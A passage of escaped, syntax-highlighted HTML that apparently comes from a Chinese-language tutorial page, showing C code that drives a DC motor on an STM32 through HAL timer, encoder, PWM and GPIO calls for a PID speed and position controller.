19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里定义一些变量\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 电机转一圈所需的Encoder读数累和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1440\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标速度 Encoder读出的真实速度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 设定的目标位置总读数和 实际位置读数和\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 给电机的PWM设定的占空比数值(这里需要每次累加,因为使用的是增程式pid)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 